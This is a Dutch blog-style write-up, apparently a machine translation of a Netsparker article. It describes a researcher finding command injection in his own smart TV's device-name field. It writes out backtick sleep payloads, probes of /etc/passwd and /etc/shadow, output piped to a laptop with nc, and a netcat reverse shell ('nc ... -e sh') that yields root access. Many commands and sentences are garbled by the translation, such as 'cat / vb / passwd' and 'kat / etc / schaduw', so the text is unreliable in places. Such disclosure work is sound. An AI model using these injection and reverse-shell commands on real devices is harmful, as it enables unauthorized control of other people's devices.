Het was een van die luie avonden tv kijken na een lange dag. Ik was moe, maar bleef maar denken aan een kwetsbaarheid die ik vond in een router die ik eerder van iemand had gekregen. Het vinden van een fout in een apparaat als dit is altijd best leuk, omdat je vaak dingen zult zien die niet bedoeld zijn voor gebruikers, behalve de ontwikkelaars en misschien het technische ondersteuningsteam van het bedrijf.

Omdat ik zo moe was, wilde ik de slaaptimer op de tv instellen en gaan liggen. Maar bij het instellen van de timer vroeg ik me af of er andere mogelijke menufuncties waren en of er verborgen functies waren die alleen bedoeld waren voor ondersteuningsteam of ontwikkelaars. Na een snelle Google-zoekopdracht op mijn mobiele telefoon, kwam ik erachter dat dit televisiemerk een code heeft die een geheim menu opent.

Dit stuk is eigenlijk gepubliceerd NetsparkerHij is de ontwikkelaar van een website-kwetsbaarheidsscanner die wordt gebruikt door bedrijven als Samsung, Verisign en NASA.

Nadat ik de instellingen had geopend en de code op mijn afstandsbediening had getypt, verscheen er aan de linkerkant van het scherm een ​​ander menu. Bijna alle weergegeven categorieën waren niet toegankelijk. Ik kan alleen "Hotelmodus" inschakelen en het versienummer van de set bekijken.

Ik wilde meer weten over televisie. Binnen de instellingen was er een categorie met de naam "informatie". Ik opende het en zag nog maar een paar versienummers. Toen trok iets anders mijn aandacht; Eigenlijk kan ik mijn tv een naam geven.




De kwetsbaarheid in mijn smart tv-toestel




Terwijl u in Informatiebeveiliging werkt, kunt u niet anders dan enkele van de belastingen die u dagelijks gebruikt, testen in andere invoervelden die u tegenkomt. U kunt een GET-parameter hebben op de webinterface van uw router, op het bedieningspaneel van uw nieuwe printer of in mijn geval op een tv. Dus ik dacht dat het leuk zou zijn om mijn tv "televisie" "slaap 5" te hernoemen.




Na het invoeren en verzenden van de lading vanaf mijn afstandsbediening, was het instellingenmenu lange tijd bevroren. Toen hij opnieuw reageerde, veranderde ik de naam zodat ik andere menu-items kon selecteren. Ik dacht echt niet dat ik een commando-injectie of zoiets had gevonden. Het is niet vreemd dat mijn tv een paar seconden wachtte voordat er wijzigingen werden aangebracht, maar het maakte me nieuwsgierig omdat het nu langer duurt om te reageren.




Het kwam niet overeen met de storing omdat de tijd langer was dan vijf seconden. Ik dacht dat het misschien iets te maken had met de backtick-karakters die ik had ingespoten. Misschien wachtte de tv niet op hen en veroorzaakte een fout waardoor ze niet konden worden geladen. Ik typte "Televisie" 0 slaap "en probeerde het opnieuw. Onmiddellijk geladen.

Er gebeurde zeker iets, maar hij wist niet zeker wat en hoe. Dus besloot ik de tijd te meten. Blijkt dat de tv altijd drie keer langer nodig heeft dan het inlognummer om te reageren, zoals hieronder weergegeven:




  • slaap (2) - 6 seconden
  • slaap (3) - 9 seconden
  • slaap (5) - 15 seconden

Opdrachten uitvoeren op mijn Smart TV

Ik kon het niet geloven. Het eerste invoerveld dat ik probeerde, had eigenlijk een opdrachtinjectie. Het bevriezen van de menukaart was niet het ultieme bewijs en was qua exploitatie niet erg bruikbaar. Omdat ik maar 31 karakters had, zijn mijn twee backticks minus 29 karakters.

Hieronder staat een lijst met de opdrachten die ik op de tv probeerde uit te voeren, inclusief een uitleg van wat ze waren en een bevestiging of ze succesvol waren.




opdracht

uitleg

karakter /

succesvol

`nc && sleep 2`

welke Het is een linux-commando dat het pad naar een bestaand programma retourneert.

&& slapen 2 zet het menu 3 * 2 seconden vast welke functie
was gevonden nc Op de tv.

19

Ja

`ssh && sleep 2`

Ik wilde zien of ssh was geïnstalleerd.

20

No

`die slapen en slapen 2`

Maar hij werd wakker

21

Ja

`cat / vb / passwd && sleep 2`

Ik wilde zien of / etc / passwd leesbaar is. Was en zou zijn
het was een grote verrassing als dat niet het geval was

26

Ja

`kat / etc / schaduw en slaap 2`

Dat is interessant. Als je root-privileges hebt / etc / shadow
het bestand is leesbaar. Ik wilde testen of ik root was, maar het bestand kan niet worden gelezen.

26

No

`ls / etc / shadow && sleep 2`

Dit is de verklaring waarom het schaduwbestand niet kon worden geopend. Het is gewoon
had niet.

25

No

Het was erg laat, dus besloot ik te gaan slapen en de volgende dag een korstje te eten. Na het ontwaken volgde het moeilijkste: uit bed komen om een ​​laptop en een ethernetkabel te halen. Ik hoefde tot nu toe niet eens ergens heen en ik vond het best grappig dat ik systeemopdrachten op mijn tv kon uitvoeren met alleen de afstandsbediening.

Shell-toegang hebben op Smart TV

Mijn tv is aan de muur gemonteerd, dus een kabel aansluiten is niet zo eenvoudig als je je kunt voorstellen. Na een ontwrichte schouder en verschillende bedreigingen voor de tv, heb ik de kabel aangesloten. Ik heb de laptop op de laptop aangesloten en ipconfig.

Dus nu ik het IP-adres van mijn laptop weet, moest ik gewoon een reverse shell voor mijn laptop kopen. Dus ik hoefde het IP-adres van de tv niet te weten. De omgekeerde shell is ook handig omdat deze mogelijke firewallregels omzeilt die inkomende verbindingen blokkeren. Maar voordat ik erover nadacht hoe ik minder dan 29 tekens kon krijgen, wilde ik wat meer over het systeem leren.

Netcat gebruiken op Smart TV

ik heb geleerd dat nc Ik heb het op de tv geladen, dus besloot ik een aantal opdrachten via nc over te brengen naar mijn laptop. Het eerste dat ik probeer is natuurlijk idDat zou me vertellen of ik root-privileges heb op de Smart TV-set.

Ik had root-privileges zoals hierboven te zien is. Dit was niet zo verwonderlijk, maar het was toch goed om te zien. Het volgende dat ik deed, was een directorylijst krijgen met / `ls -la / | nc 169.254.56.216 5 '

Uitstekend. Maar ik had nog steeds geen shell om de juiste commando's te geven. Ze waren allemaal min of meer beperkt en niet erg nuttig. Echter, sinds de release nc Het was gemakkelijk om als volgt een omgekeerde shell te krijgen voor de vlag -e op de tv: `nc 169.254.213.210 5 -e sh`

Ik had shell-toegang op de Smart TV

Uitstekend. Nu had ik een geschikte schil om mee te werken. Ik was vooral geïnteresseerd in het zichtbaar omgaan met tv. Er waren veel mogelijkheden, zoals het wijzigen van het logo dat werd weergegeven tijdens het opstartproces of het wijzigen van app-pictogrammen. Omdat dit een smart-tv is, heeft deze enkele vooraf geïnstalleerde apps zoals YouTube en Skype.

 

Ik heb gemerkt dat het grootste deel van het bestandssysteem alleen-lezen is, dus ik kon de logo's gewoon niet wijzigen. Maar er waren afbeeldingen die vaak veranderden, d.w.z. kanaalvoorbeeldboxen die u kunt zien terwijl u tussen verschillende tv-kanalen zapt. Het bevatte momentopnames van programma's die werden uitgevoerd toen u het kanaal bezocht. Deze moesten natuurlijk ergens worden opgeslagen waar je bestanden kon lezen en schrijven.

Ik heb gemerkt dat de pictogramafbeeldingen .png-bestanden zijn. Ik heb alle bestanden met de extensie .png weergegeven met behulp van de opdracht zoek / -name * .png de voorbeeldbestanden waren er echter niet. Maar ik probeerde hetzelfde te zoeken, maar dit keer viel het op dat .jpg-bestanden en sommige bestanden zoals channelImage123.jpg. Dit was het resultaat nadat ik de bestanden die ik wilde laten zien had geüpload en de bijbehorende channelImage-bestanden had gewijzigd.

Uw tv is niet zo slim als u denkt

Apparaten met internetverbinding kunnen kwetsbaarheden hebben op de raarste plaatsen, plaatsen waar u minder verwacht. Toen ik het slaapcommando testte, dacht ik niet eens dat het zou werken, ik deed het gewoon uit verveling. Ik had geen idee dat mijn tv op Linux draaide en ik was verrast om te zien dat mijn kwetsbaarheden konden worden misbruikt.

Deze kwetsbaarheid wordt niet op afstand uitgebuit, maar het overtuigde me ervan dat ik het recht heb om mijn tv niet met internet te verbinden en de slimme functies ervan te gebruiken. Ik vind het niet prettig om te denken dat iemand controle heeft over mijn tv.

Ik denk dat er coolere dingen en meer kwetsbaarheden zijn die ik op de televisie kan gebruiken. Maar als het apparaat is bevroren, is het het verdriet dat ik krijg niet waard en ik moet even wachten om te zien of er stenen zijn. Want als je graag voetbal kijkt, tv kijkt, ontspant en je bloeddruk niet verhoogt.